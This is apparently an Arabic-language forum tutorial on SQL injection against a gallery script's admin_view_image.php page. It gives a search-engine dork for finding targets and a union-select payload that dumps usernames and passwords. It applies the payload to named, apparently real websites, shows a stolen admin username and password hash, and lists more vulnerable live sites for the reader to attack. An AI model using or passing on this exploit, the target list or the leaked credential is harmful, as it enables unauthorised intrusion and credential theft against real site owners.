السلام عليكم
ندخل الى
نبحت عن
allinurl: "admin_view_image.php"
ناخد هذا الموقع
http://www.riccitelliphoto.com/scrap...age.php?cid=11
نضع عليه الاستغلال
كود PHP:
admin_view_image.php?cid=-99999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/lwsp_users
حيت يصبه هكذا
http://www.riccitelliphoto.com/scrap.../**/lwsp_users
الشئ الي نريده هوا هذا
Gallery Index >> scrapper101:c40baf81ec6dbe516eb9c46bd0f71c12
حيت ان اليوزر scrapper101
الباس c40baf81ec6dbe516eb9c46bd0f71c12
بعض المواقع المصابة
http://www.drannbauer.com/smoothflas...image.php?cid=
http://www.pruetthomes.com/smoothfla...image.php?cid=
الباقي اتركه لك